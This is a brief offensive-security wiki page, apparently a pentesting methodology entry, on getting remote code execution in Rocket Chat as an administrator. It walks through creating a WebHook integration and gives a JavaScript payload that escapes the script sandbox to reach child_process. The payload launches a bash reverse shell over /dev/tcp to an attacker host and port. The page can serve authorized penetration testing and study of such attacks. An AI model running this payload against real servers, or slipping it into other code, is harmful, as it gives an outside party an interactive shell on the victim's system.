{% embed url="https://websec.nl/" %} ## RCE If you are admin inside Rocket Chat you can get RCE. * Got to **`Integrations`** and select **`New Integration`** and choose any: **`Incoming WebHook`** or **`Outgoing WebHook`**. * `/admin/integrations/incoming`

* According to the [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), both use ES2015 / ECMAScript 6 ([basically JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) to process the data. So lets get a [rev shell for javascript](../../generic-methodologies-and-resources/reverse-shells/linux.md#nodejs) like: ```javascript const require = console.log.constructor('return process.mainModule.require')(); const { exec } = require('child_process'); exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'") ``` * Configure the WebHook (the channel and post as username must exists):

* Configure WebHook script:

* Save changes * Get the generated WebHook URL:

* Call it with curl and you shuold receive the rev shell
